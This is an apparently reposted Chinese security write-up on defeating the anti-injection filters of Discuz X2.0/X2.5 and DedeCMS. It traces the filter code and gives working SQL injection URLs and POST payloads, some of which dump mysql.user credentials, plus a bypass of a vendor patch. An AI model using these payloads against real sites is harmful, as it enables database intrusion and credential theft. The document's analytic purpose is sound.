<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/353

            0x00 前言


            目前主流的CMS系統當中都會內置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介紹繞過方法。

            0x01 Discuz x2.0防注入


            防注入原理

            這里以Discuz最近爆出的一個插件的注入漏洞為例,來詳細說明繞過方法。

            漏洞本身很簡單,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函數中,代碼如下所示

            #!php
            function getGoods($id){
                  $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
                    $goods = DB::fetch($query);
                    $goods['endtime2'] = date('Y-m-d',$goods['endtime']);
                    $goods['price2'] = $goods['price'];
                    if($goods['sort'] ==2){
                        $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
                        $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
                        $last = DB::fetch($query);
                        if(is_array($last)){
                            $goods['price'] = $last['chujia'];
                            $goods['uid']  = $last['uid'];
                            $goods['username']  = $last['username'];
                            $goods['pm'] = $last;
                            if(time()+600> $goods['endtime']){
                                $goods['endtime'] = $last[time]+600;
                                $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
                            }
                        }
                    }
                    return $goods;
            }
            

            觸發漏洞的入口點在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如圖所示: ? enter image description here

            下面可以構造如下請求觸發漏洞了,如圖所示: ? enter image description here

            不過程序內置了一個_do_query_safe函數用來防注入,如圖所示 ? enter image description here

            這里跟蹤一下_do_query_safe()函數的執行,它會對以下關鍵字做過濾,如圖所示:

            ?enter image description here

            因為我們的url中出現了union select,所以會被過濾掉。

            繞過方法

            這里利用Mysql的一個特性繞過_do_query_safe函數過濾,提交如下url:

            http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
            

            這里我們跟蹤一下,繞過的具體過程。它會將/**/中間的內容去掉,然后保存在$clean變量中,其值為

            select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
            

            再進一步跟蹤,它會將/**/也去掉,然對$clean變量做過濾,如圖所示

            enter image description here ? 此時$clean值,如圖所示 ? enter image description here

            此時$clean變量中不在含有危險字符串,繞過_do_query_safe函數過濾,成功注入,截圖如下: ? enter image description here

            0x02 Discuz X2.5防注入


            防注入原理

            Discuz X2.5版修改了防注入函數的代碼,在/config/config_global.php中有如下代碼,如圖所示 ? enter image description here

            這里$_config['security']['querysafe']['afullnote'] 默認被設置為0,重點關注這一點。

            這里跟蹤一下失敗的原因,如圖所示: ? enter image description here

            此時觀察一下變量,_do_query_safe($sql)函數會將/**/中的內容去掉,然后存到$clean中,如圖所示: ? enter image description here

            其實,程序執行到這里跟Discuz X2.0沒有區別,$clean的值都一樣。但是關鍵在下面,如圖所示:

            enter image description here ? 因為前面提到$_config['security']['querysafe']['afullnote']=’0’,所以這里不會替換/**/為空,并且它在后面會判斷$clean中是否會出現“/*”,如圖所示: ? ?enter image description here

            所以注入失敗。

            繞過方法

            在Mysql當中,[email protected],可以用set @a=’abc’,來為變量賦值。這里為了合法的構造出一個單引號,目的是為了讓sql正確,我們可以用@'放入sql語句當中,幫助我們繞過防注入程序檢查。

            這里利用如下方式繞過_do_query_safe函數過濾,如下所示:

            http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
            

            這里跟蹤一下執行的過程,如圖所示:

            enter image description here ? 這里有一個if判斷,重點看這句

            #!php
            $clean = preg_replace("/'(.+?)'/s", '', $sql);
            

            它會將$sql中單引號引起來的字符串省略掉,所以我們可以用繞過dede防住ids的思路,利用

            @`'` union select @`'`
            

            這樣的方法,在下面的過濾中省掉union select,這里跟蹤一下,如圖所示: ? enter image description here

            這樣便繞過了_do_query_safe函數檢測,成功繞過防注入,如圖所示: ? enter image description here

            不過后來Discuz官方發布了一個修復補丁,但并沒用從根本上解決問題。官方的修復代碼如下: ? enter image description here

            加了一個判斷,過濾字符串中的@,但是始終沒有修復根本問題,關鍵是上邊的那個if判斷會將單引號之間的內容(包括單引號)替換為空,代碼如下:

            #!php
            if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
                $clean = preg_replace("/'(.+?)'/s", '', $sql);
            }
            

            [email protected],從而繞過它的過濾,利用如下所示:

            http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
            

            這里我引入了`'`[email protected],并將第一個@`'`替換為@`''`,這樣便可以替換掉第二個@,這里我們跟蹤一下代碼,如圖所示: ? enter image description here

            可以看到$clean變為

            select * from pre_v63_goods where `id` =``
            

            成功繞過補丁,如圖所示:

            enter image description here ? 不過這樣做的代價是不能再使用union select了,只能通過報錯獲取數據。

            0x03 DedeCMS防注入


            防注入原理

            這里我也以最近熱點分析的dedeCMS feedback.php注入漏洞為例,分析如何繞過其防注入系統。不過在這之前,還得先提一下這個漏洞。

            漏洞存在于/plus/feedback.php中的第244行,代碼如下所示

            if($comtype == 'comments')
                {
                    $arctitle = addslashes($title);
                    $typeid = intval($typeid);
                    $ischeck = intval($ischeck);
                    $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
                    if($msg!='')
                    {
                        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                               VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
                        $rs = $dsql->ExecuteNoneQuery($inquery);
                        if(!$rs)
                        {
                            ShowMsg(' 發表評論錯誤! ', '-1');
                            //echo $dsql->GetError();
                            exit();
                        }
                    }
                }
                //引用回復
                elseif ($comtype == 'reply')
                {
                    $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
                    $arctitle = $row['arctitle'];
                    $aid =$row['aid'];
                    $msg = $quotemsg.$msg;
                    $msg = HtmlReplace($msg, 2);
                    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                            VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
                    $dsql->ExecuteNoneQuery($inquery);
                }
            

            這里$title變量未初始化,所以$title可以作為可控變量,所以我們可以進一步控制$arctitle。跟蹤發現$arctitle被直接帶入SQL語句當中,但是這里執行的INSERT語句入庫之后會將前面addslashes轉義的單引號在會員還原回去。進一步跟蹤下面的代碼,在第268行,如下所示

            $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
            $arctitle = $row['arctitle'];
            

            這里的查詢#@__feedback表正式上面INSERT的那個表,arctitle字段取出來放到$arctitle變量當中,繼續跟蹤到第273行,這下豁然開朗了,

            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                            VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
            

            這里$arctitle變量未作任何處理,就丟進了SQL語句當中,由于我們可以控制$title,雖然$arctitle是被addslashes函數處理過的數據,但是被INSERT到數據庫中又被還原了,所以綜合起來這就造成了二次注入漏洞。

            但是這里如何利用呢,通過跟蹤代碼發現,整個dede在整個過程中始終沒有輸出信息,所以我們無法通過構造公式報錯來獲取數據,但是進一步分析代碼發現#@__feedback表當中的msg字段會被輸出。由于$arctitle變量是可控的,所以我們可以通過構造SQL語句,將我們要執行的代碼插入到msg字段當中,這樣便可以輸出執行的內容了。

            繞過方法

            眾所周知,dedeCMS內置了一個CheckSql()函數用來防注入,它是80sec開發的通用防注入ids程序,每當執行sql之前都要用它來檢查一遍。其代碼如下所示:

            #!php
            function CheckSql($db_string,$querytype='select')
                {
                    global $cfg_cookie_encode;
                    $clean = '';
                    $error='';
                    $old_pos = 0;
                    $pos = -1;
                    $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
                    $userIP = GetIP();
                    $getUrl = GetCurUrl();
            
                    //如果是普通查詢語句,直接過濾一些特殊語法
                    if($querytype=='select')
                    {
                        $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
            
                        //$notallow2 = "--|/\*";
                        if(preg_match("/".$notallow1."/i", $db_string))
                        {
                            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                            exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
                        }
                    }
            
                    //完整的SQL檢查
                    while (TRUE)
                    {
                        $pos = strpos($db_string, '\'', $pos + 1);
                        if ($pos === FALSE)
                        {
                            break;
                        }
                        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                        while (TRUE)
                        {
                            $pos1 = strpos($db_string, '\'', $pos + 1);
                            $pos2 = strpos($db_string, '\\', $pos + 1);
                            if ($pos1 === FALSE)
                            {
                                break;
                            }
                            elseif ($pos2 == FALSE || $pos2 > $pos1)
                            {
                                $pos = $pos1;
                                break;
                            }
                            $pos = $pos2 + 1;
                        }
                        $clean .= '$s$';
                        $old_pos = $pos + 1;
                    }
                    $clean .= substr($db_string, $old_pos);
                    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
            
                    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以檢查它
                    if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
                    {
                        $fail = TRUE;
                        $error="union detect";
                    }
            
                    //發布版本的程序可能比較少包括--,#這樣的注釋,但是黑客經常使用它們
                    elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
                    {
                        $fail = TRUE;
                        $error="comment detect";
                    }
            
                    //這些函數不會被使用,但是黑客會用它來操作文件,down掉數據庫
                    elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
                    {
                        $fail = TRUE;
                        $error="slown down detect";
                    }
                    elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
                    {
                        $fail = TRUE;
                        $error="slown down detect";
                    }
                    elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
                    {
                        $fail = TRUE;
                        $error="file fun detect";
                    }
                    elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
                    {
                        $fail = TRUE;
                        $error="file fun detect";
                    }
            
                    //老版本的MYSQL不支持子查詢,我們的程序里可能也用得少,但是黑客可以使用它來查詢數據庫敏感信息
                    elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
                    {
                        $fail = TRUE;
                        $error="sub select detect";
                    }
                    if (!empty($fail))
                    {
                        fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
                        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
                    }
                    else
                    {
                        return $db_string;
                    }
                }
            

            但通過跟蹤這段代碼發現,它有個特征就是會將兩個單引號之間的內容用$s$替換,例如’select’會被替換為$s$,這里用兩個@`'`包含敏感字,這樣$clean變量中就不會出現敏感字,從而繞過CheckSql()函數檢測。

            這里可以設置title為如下代碼,一方面繞過ids防注入代碼檢測,另一方面加一個#注釋掉后面的代碼,但是還要做一下變形,就是這個char(@`'`)了。因為#@__feedback的所有字段都被設置為NOT NULL,而@`'`是一個變量,默認為NULL,直接插入@`'`的話會報錯,所以需要以char(@`'`)的方法轉換一下。

            ',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
            

            跟蹤代碼,如圖所示 ? enter image description here

            如下SQL語句

            INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
            

            被替換為了

            insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
            

            字符串中沒有任何敏感字,成功繞過CheckSql()函數檢測。

            POST如下請求給feedback.php,如下所示:

               action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
            

            跟蹤代碼,實際執行的SQL語句跟蹤變量如下所示: ? enter image description here

            被插入數據庫中的內容,如圖所示: ? enter image description here

            下面再POST如下內容給feedback.php,

            action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
            

            跟蹤一下這里執行的SQL語句,如圖所示 ? enter image description here

            所以select user()執行了,并且可以作為msg字段輸出。

            0x04 總結


            在寫這篇文章之前,我分析了很多常用的cms系統的源碼,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms這兩個系統中用到通用防注入,但是它們所覆蓋的用戶群已將相當龐大了。如果能在發現程序注入漏洞的情況下,這些繞過方法還是很有價值的。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线